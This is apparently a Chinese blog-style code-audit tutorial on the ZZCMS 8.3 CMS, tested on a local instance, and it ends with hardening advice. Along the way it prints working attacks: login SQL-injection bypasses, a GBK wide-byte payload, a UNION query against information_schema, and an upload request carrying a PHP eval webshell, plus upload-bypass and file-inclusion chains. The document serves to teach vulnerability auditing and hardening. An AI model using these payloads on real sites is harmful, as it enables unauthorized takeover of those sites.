简介:ZZCMS 8.3 是一套开源内容管理系统的源码包,压缩包为 ZIP 格式,体积约 2.8MB,常被用作代码审计与实际建站相结合的练习对象。源码整体采用模型-视图-控制器架构,业务逻辑、数据处理和界面展示彼此分离,有利于读者观察完整网站骨架;审计时可重点关注输入验证、数据过滤、权限控制是否到位,识别结构化查询语言注入、跨站脚本攻击、跨站请求伪造等常见风险,并学会从源代码层面排查安全隐患。开发者还能学习到路由分发、依赖注入、模板渲染、插件与钩子等机制,并借内容发布、分类检索、用户注册登录、权限分级、响应式界面等模块积累建站实践能力;逐模块阅读过程中,可深入理解类库组织与方法划分,提升大型项目代码结构设计能力。目前已有 786 人浏览学习,适合具备一定 PHP 基础、希望从源码层面提升安全审计与系统设计能力的开发者和建站爱好者。
1. zzcms8.3 代码审计复盘:建站源码别急着翻函数,先跑通再断攻击面
拿到 zzcms8.3.zip,我第一件事不是解压后直接翻代码,而是先把它完整装起来,跑成一个能登录后台、能传图片、能发文章的网站。这套流程看着比直接看代码多了一步,但省下的时间在后面:系统功能点一旦真实可见,你再回头去搜 SQL 拼接、文件写入点,定位会快很多。做过几轮代码审计之后我的体会是,建站类系统的核心风险通常就集中在三块——登录认证、附件上传、模板或配置文件写入,只要把这三块的代码链路审明白,80% 的攻击面就覆盖了。这篇文章面向做代码审计的新手,也面向做网站建站运维的熟手,把我在审计这套源码时用的判断依据和复现路径完整讲一遍,你可以当成一份可以直接抄作业的排查流程来用。
2. 建站功能拆解:从入口链到过滤层,先按攻击面排优先级
2.1 环境准备与目录识别:先把站点真正跑起来
很多人在代码审计时喜欢一上来就翻目录,看着哪儿都是重点,结果哪儿都没审透。我习惯先把源码包解压,放进本地 Web 环境,按安装向导走一遍建站流程,让数据库、管理员账号、上传目录全部真实生成。这一步做完,代码里的路径和实际访问路径就能对上了,后面判断“这个文件能不能被外部直接请求”“这个目录是不是在 Web 根目录下”会非常直观。
unzip zzcms8.3.zip -d ./zzcms cd ./zzcms # 本地起一个 PHP 服务,或者用集成环境指向站点根目录 php -S 127.0.0.1:8080 # 浏览器访问 install/index.php 走建站初始化 # 初始化完成后访问首页和后台登录页,确认站点可访问环境跑通之后,我一般会先确认两件事:数据库连接信息落在哪个配置文件里,以及附件上传目录是否可以直接通过 URL 访问。前者决定了你能不能直接查库来验证注入结果,后者决定了上传漏洞的危害上限。目录权限和访问方式永远比函数名更重要,这是审计建站系统时的一个基础判断。
以这套建站源码为例,我会先把项目结构做成一张目录职责表。建站系统的目录命名通常很直白,表单验证、上传处理、模板渲染都有固定的归属位置,先按职责分完类再开始审代码,比盲目读文件有效得多。
| 目录位置 | 主要职责 | 优先级 | 审计重点 |
|---|---|---|---|
| admin 目录 | 后台管理与内容发布 | 高 | 管理员认证是否严格、后台操作是否有越权 |
| member 目录 | 会员中心与前台交互 | 高 | 未授权访问、上传点、个人信息查询 |
| inc 目录 | 公共函数与全局过滤 | 高 | 全站请求是否经过统一过滤、过滤能否绕过 |
| upload 目录 | 附件存储与访问 | 中高 | 目录是否可执行、落地文件名是否可控 |
| template 目录 | 模板文件与页面渲染 | 中 | 模板内容是否可写、渲染时是否包含用户输入 |
2.2 入口路由与公共过滤层:找到全站请求的必经之路
建站系统的请求几乎都走同一个入口链路:浏览器请求某个 PHP 文件,这个文件在开头统一加载公共文件,再由公共文件初始化数据库、会话和全局变量。因此审代码最忌讳直接掉进某个功能页面的深坑,而应该先把“入口链路”捋清楚。我会从 index.php 和 admin 目录的入口文件开始,看它们各自 require 了哪些公共文件,然后顺着 include 链把公共文件按顺序读一遍。
// 常见公共文件里的全局过滤写法,老建站系统里很常见 foreach (array('_GET', '_POST', '_COOKIE') as $req) { foreach (${$req} as $key => $value) { ${$key} = addslashes($value); } }这段代码有两个关注点:一是它对 GPC 参数做了全局转义,说明开发者有安全意识;二是它用了可变变量,如果后续某个代码路径没有初始化对应变量,可能构成变量覆盖。审计高手和普通人的差别,就在这种“看似安全”的代码里找例外。全局转义不等于全局安全,我们要找的是那些在过滤之后再还原、再解码、再拼接的操作。
grep -rn "urldecode\|stripslashes\|stripcslashes" ./zzcms --include="*.php"这三类函数是全局转义的天敌。urldecode会把%27还原成单引号,stripslashes会直接去掉转义反斜杠,stripcslashes则能把 C 风格转义还原。任何一个安全函数如果和这三类还原函数出现在同一条处理链上,基本就意味着过滤被架空了。我一般会先把包含这些函数的文件全部列出来,再逐个追踪它们是否作用在用户输入上,而不是纠结某个函数写得对不对。
还有一个很容易漏的地方:数据库连接层的字符集设置。如果代码里写了类似SET NAMES utf8那宽字节注入基本失去条件,但如果字符集是 GBK,addslashes转义就可能被宽字节吃掉。这一步我先只做标记,等审到具体 SQL 拼接处时再回头看连接配置。
2.3 功能攻击面整理:把前端能点的按钮翻译成代码审计清单
建站系统的功能大体绕不开栏目管理、内容发布、会员中心、附件上传、模板配置。跑通站点之后,我会把后台菜单和前台页面里的关键功能点都点一遍,每个功能点都记录三件事:请求什么地址、带哪些参数、需要什么权限。用浏览器的开发者工具抓一遍请求,就能很快得到一张真实的攻击面清单。
| 功能点 | 请求形式 | 权限要求 | 审计价值 |
|---|---|---|---|
| 管理员登录 | admin 下登录接口 | 无 | 是否存在 SQL 注入、万能密码绕过 |
| 会员注册登录 | member 下登录接口 | 无 | 越权访问其他会员信息 |
| 附件上传 | upload 接口 | 后台或会员 | 文件类型检查是否可绕过 |
| 栏目管理 | admin 内容管理接口 | 管理员 | 越权修改、SQL 操作、写文件 |
| 模板编辑 | template 相关接口 | 管理员 | 内容是否直接写入 PHP 文件 |
| 站点配置 | admin 配置接口 | 管理员 | 配置值落地文件时的注入 |
判断依据很简单:没有任何权限就能访问的功能点,优先级最高;能把用户提交内容写成文件的,优先级最高;数据库操作里拼了用户可控参数的,优先级最高。建站系统里最值钱的审计结果,就是把这三个条件组合在一起的那个点。
3. 登录口 SQL 注入:从万能密码到后台权限的复现过程
3.1 定位注入点:不要光看登录页,去代码里找 SQL 拼接
登录功能是建站系统里最容易出现 SQL 注入的位置。老的 PHP 建站程序普遍习惯把用户名、密码直接拼接进 SQL 语句,密码大多做了md5,可注入空间不大,但用户名往往原样进入查询。真正的审计顺序不是先猜漏洞,而是先抓包拿到真实参数名,再去源码里搜这些参数名,顺着参数一路追到 SQL 语句。
grep -rn "username\|login_name\|user_name" ./zzcms --include="*.php" | grep -i "sql\|select\|query"先抓登录请求,看 POST 体的字段名,通常长得像username=admin&password=123456。拿到字段名后,用上面这条命令把相关文件捞出来,重点关注两种代码:一种是直接把$_POST参数塞进字符串的,另一种是从$_GET取参数后又转了一圈再拼接的。后者更坑,因为你只看登录文件可能看不到问题,还得把中间的取值逻辑翻出来。
// 审计时最常看到的高危写法 $username = $_POST['username']; $password = md5($_POST['password']); $sql = "SELECT * FROM zzcms_admin WHERE username='{$username}' AND password='{$password}'"; $result = $db->query($sql);这种写法的危险点非常明确:$username来自用户提交,前后被单引号包裹,且没有参数化查询。所谓“万能密码”本质是让这条查询语句的条件恒成立,比如把username的值构造成admin' or '1'='1' -- -,这样 SQL 条件变成username='admin' or '1'='1',后面密码判断被注释掉,查询直接返回第一条管理员数据。
3.2 Payload 构造与绕过细节:被转义了该怎么继续
如果登录代码用了前面提到的addslashes全局转义,简单单引号会被变成\',万能密码就不成了。这时要回到 2.2 里记录的字符集和还原函数,判断是走“宽字节注入”还是找一次“二次解码”。
-- 最基础的闭合方式 admin' or '1'='1' -- - -- 有 addslashes 且数据库字符集为 GBK 时尝试宽字节 admin%bf%27 or 1=1%23宽字节的原理是:addslashes给单引号前面加了一个反斜杠\,当数据库连接使用 GBK 字符集时,%bf%27会把%bf和紧跟的反斜杠组成一个汉字字符,剩余的单引号就成功逃逸出来。这个方法在 UTF-8 环境里不成立,因为 UTF-8 对无效字节的容忍度和 GBK 不同,所以复现前一定要确认连接层字符集。判断依据是:不要看到addslashes就说没注入,真正决定成败的是字符集和还原函数。
拿到注入点后,想确认 SELECT 的字段数,可以用order by逐级试探,也可以直接上union select报错回显,让数据库告诉你它吃了几个字段。表名不确定时,可以直接查information_schema:
admin' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=database() -- -这条语句会把当前库里所有表名拼接后输出到页面的某个列上。如果列数不对,数据库会提示列数不匹配,那就把union select后面的编号补到和原查询一致,再做下一步。
3.3 注入之后怎么用:后台管理员权限只是中间目标
登录口拿到注入权限后,后面通常连着两条路。第一条是把管理员密码哈希查出来,去本地跑常见口令字典,尤其是后台弱口令现场特别多。第二条是直接写入一个合法的管理员会话。这里要注意一个多数新手容易忽略的点:很多建站系统的后台认证不是靠用户名密码本身,而是靠登录成功后写入的 session、cookie 或认证令牌组成的。如果这些令牌的生成逻辑有固定算法,你甚至可以绕过密码,直接伪造出管理员身份。
拿到管理员后台后,我会把目标切换到后台的“模板管理”“栏目管理”“配置管理”。这类功能最大的特点是,用户提交的内容可能被写进一个文件里。模板文件的后缀如果是 PHP,那就等于把代码执行权限直接送到了面前。Web 应用层的注入只是一个开始,真正的落地目标是把数据流变成代码流。
4. 上传模块审计:白名单绕过与 GetShell 的完整路径
4.1 上传点定位:先把所有文件落地操作捞出来
建站系统的上传点一般集中在三个位置:会员中心的头像上传、编辑器里的图片上传、后台的附件管理。审上传模块时,我不会先去逐行读上传类,而是先全局搜文件落地的关键函数,从出口往回推入口。
grep -rn "move_uploaded_file\|file_put_contents\|fwrite" ./zzcms --include="*.php"move_uploaded_file是文件上传的标准落地函数,它前面的判断就是审计重点。很多上传漏洞就藏在“判断”两个字上:判断了文件头但没判断后缀,判断了后缀但用了错误取值方式,判断了类型但信任了客户端提交的Content-Type。这三种情况是建站系统上传漏洞的主要来源。
// 常见的有问题判断逻辑 $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); $type = $_FILES['file']['type']; if (!in_array($ext, array('jpg', 'gif', 'png'))) { die('bad ext'); } if ($type != 'image/jpeg') { die('bad type'); } move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $_FILES['file']['name']);这段代码的问题不在白名单本身,而在两个直接后果:$ext只校验了扩展名,但最终落盘文件名用的是用户原始传入的文件名;$type完全可伪造。所以只要用户在请求里把filename构造成双扩展名文件,配合服务端解析配置,就可能让一个带 PHP 代码的文件被当作脚本执行。
4.2 绕过思路对比:双扩展名和截断各适合什么场景
建站系统服务端环境多变,同样是上传漏洞,在不同中间件上利用方式不同。我会把绕过思路分成三类,分开验证。
| 绕过方式 | 前提条件 | 利用效果 | 注意事项 |
|---|---|---|---|
| 双扩展名 | Apache 多后缀解析、或强制解析配置 | shell.php.jpg可能被执行 | 需要确认服务端下发的文件类型与解析器行为 |
| 空字节截断 | PHP 5.x 且底层支持 %00 截断 | shell.php%00.jpg落盘成 shell.php | PHP 7 以后基本失效 |
| 上传配合文件包含 | 应用存在包含用户可控文件的页面 | 图片马被当作 PHP 包含执行 | 最稳定,但依赖额外触发点 |
空字节截断是这类审计里最有“当年现场感”的利用方式。服务端在把shell.php%00.jpg作为落盘文件名时,文件系统只认到%00前面部分,结果实际写入的文件名就变成了shell.php。这种手法在 PHP 5 时代稳定,但我在复现时会先确认当前 PHP 版本,再决定是否走这条路。
双扩展名则更依赖服务端解析规则。比如 Apache 开启了对php处理器的相关配置时,shell.php.jpg这种带.php信息的文件可能被当作 PHP 解析。审计普通用户不用死记解析规则细节,核心记住一点:上传的文件最终落在哪个文件名、哪个目录、目录里能不能跑脚本,这三个问题决定上传到底能不能 getshell。
4.3 上传 GetShell 复现步骤:用可验证的请求确认结果
复现上传漏洞时,我习惯先构造一个最小化的恶意请求,再根据返回结果逐步调参。
POST /member/upload.php HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: multipart/form-data; boundary=----WebKitBoundary ------WebKitBoundary Content-Disposition: form-data; name="file"; filename="shell.php.jpg" Content-Type: image/jpeg GIF89a <?php @eval($_POST['x']); ?> ------WebKitBoundary--这个请求里,文件内容以GIF89a开头,只能骗过只检查文件头的检测;真正决定成败的是后面的 PHP 代码以及服务器是否执行。上传完成后,先不要急着访问,而是看返回包里的落地路径,再用请求验证:
curl "http://127.0.0.1:8080/upload/shell.php.jpg"如果回显是空白,但返回码 200,只能说文件存在;要验证是否真的可以解析,需要发一个带参数的请求看回显。比如请求http://127.0.0.1:8080/upload/shell.php.jpg时提交参数x=phpinfo();,如果响应里出现 PHP 配置页面,说明文件已经被当作 PHP 脚本执行。
我往往会先上传一个不带代码的普通图片,确认上传路径和返回文件名格式。因为有的程序会把文件名改成随机串,或者补一个不会出现在返回包里的路径。这一步做完再上 PHP payload,能够避开“上传成功但找不到文件”的尴尬。
4.4 上传不成 GetShell 时的次优解:搜索本地文件包含
上传遇到严格后缀白名单的时候不要硬刚。一个更实用的思路是先保存下来,再全局搜一遍“包含文件”的代码逻辑。建站系统的模板渲染、语言包加载、附件展示都可能包含用户可控的文件变量。
grep -rn "include\s*(\s*\$_\|include_once\s*(\s*\$_\|require\s*(\s*\$_\|require_once\s*(\s*\$_" ./zzcms --include="*.php"如果找到一个include($_GET['file'])类的写法,那么前面上传的图片马就立刻升值:上传一张以GIF89a开头、后面带 PHP 代码的图片,再用包含功能把图片文件加载执行,就可以绕过上传目录的解析限制。这是上传漏洞最常见的进阶组合,也是建站系统里最值得优先找的两条链路之一。
5. 常见问题排查:审计现场最容易翻车的四个环节
5.1 现象:全局过滤看着很严,SQL 注入却还是能成功
同样一段登录代码,我最初也以为有addslashes就安全了,后来在某个自定义函数里看到它对参数先做了一次urldecode。过完全局转义后,单引号已经变成\',可urldecode又把请求里的%27还原成单引号,转义成果全部作废。原因就是过滤之后发生了还原操作。解决的办法不是只盯过滤函数,而是在 SQL 拼接语句的前一行打断点,打印出即将进 SQL 的变量值,看它到底长什么样子。只要看到变量值里的引号和预期不同,就能顺着最后一次修改它的函数找到还原点在哪儿。
5.2 现象:宽字节注入 payload 在本地怎么测都不生效
宽字节注入能不能成功,取决于数据库连接层的字符集设置。你看到代码里有SET NAMES gbk,和实际连接时握手允许的字符集,可能差一步才算数。原因常见两种:一种是你本地环境盖过了代码里的字符集设置,连接默认用了 UTF-8;另一种是 PHP 转义函数早已不是简单的addslashes,而是对宽字节做了完整转义。解决方法是先查数据库连接代码,确定mysqli_set_charset或同等函数设置的到底是谁,别看到一处 GBK 就立刻上 payload。如果你的应用在 UTF-8 环境里,宽字节这条路直接跳过,省下来的时间留给别的攻击面。
5.3 现象:上传返回成功,但访问落地文件一直是 404
上传成功不等于 getshell 成功。常见的原因有三个:程序在落盘前把文件名改成了随机串,你按原始文件名根本找不到;上传目录不在当前站点 Web 根目录之下,URL 规则不匹配;或者程序把文件写进了数据库管理的虚拟路径,真实路径在存储层被隐藏了。解决的方法是先看返回包里的 filepath 字段,大多数上传接口成功后会回传路径;如果接口没有回传,就去数据库里查附件表,看保存的文件名是不是被重写。文件名一旦被重写,原请求里的双扩展名就没有利用价值了,这时候再去找文件名生成逻辑里的可控参数才是正路。
5.4 现象:同一套源码,我看得到断点别人却复现不出完整 getshell
代码审计结果复现性差,大部分时候不是漏洞判断错了,而是环境不一致。我遇到过同一份源码,本地搭建时用的是新版 PHP,测试后确认双扩展名完全无效,但目标服务器是旧版本 APACHE,解析结果完全不同。数据库字符集、Web 中间件、解析配置、伪静态开关,任何一项不同都会让 payload 失效。解决方法是记录复现条件:PHP 版本、数据库版本和字符集、Web 中间件版本、目标文件的落地目录权限。每条复现结果都必须带上这套环境元信息,否则这条测试记录未来没有任何参考价值。
6. 复现验证与加固闭环:把审计结论变成修复习惯
6.1 结果验证:让每一条漏洞结论都能被再次跑通
审计的终点是验证,不是找到疑似问题就收工。我会给每一条结论做三个层面的验证:第一层,用原始请求包重新跑一遍,确认漏洞重现;第二层,修改一个关键参数再跑一遍,确认触发条件是可控制的;第三层,在修复后的代码上再跑一遍,确认问题被解决。复现过程中用到的请求包、响应状态、环境版本、数据库字符集、落地文件路径,都记录在一起。这个记录不是写给谁说,而是给自己留一条判断依据。
| 漏洞类型 | 验证方式 | 修复优先级 |
|---|---|---|
| SQL 注入 | 构造 union 查询读取库名表名 | 最高,直接参数化查询 |
| 登录绕过 | 万能密码重放登录成功 | 最高,改为预编译查询 |
| 上传绕过 | 上传文件被当作 PHP 执行 | 最高,随机文件名并限制解析 |
| 模板写入 | 后台模板写入后访问触发脚本 | 高,限制可写目录不可执行 |
6.2 加固习惯:把修复做成不可绕过的默认项
参数化查询是 SQL 注入的根治方式,所有用户输入必须通过预处理语句绑定,而不是靠任何转义函数兜底。上传文件落地后一律用服务端生成随机名,丢弃用户原始文件名,扩展名按白名单重写并校验文件真实内容。存放上传文件的目录必须关闭脚本解析权限,Nginx 下配置对应设置,Apache 下关闭相关处理器。后台模板编辑功能要严格限制为管理员专用,并且最终生成的模板文件不可写入 Web 根目录下的 PHP 可执行路径。
回过头看,我注定是在代码审计上栽过跟头的。从最初看到过滤函数就放心、上传成功就以为自己拿了 shell,到现在每次拿到建站源码包都会强制走一遍六步流程:跑通环境、拆入口链、列攻击面、审 SQL 与上传、验证复现条件、记录并确认修复。那以后,凡是题目里带着“代码审计 网站建站”这类字样的源码包,我都先用这套流程把风险点摊开再动手,总算很少再翻车了。希望这份思路也能给你省下一些踩坑的代价,希望帮到你。
本文还有配套的精品资源,点击获取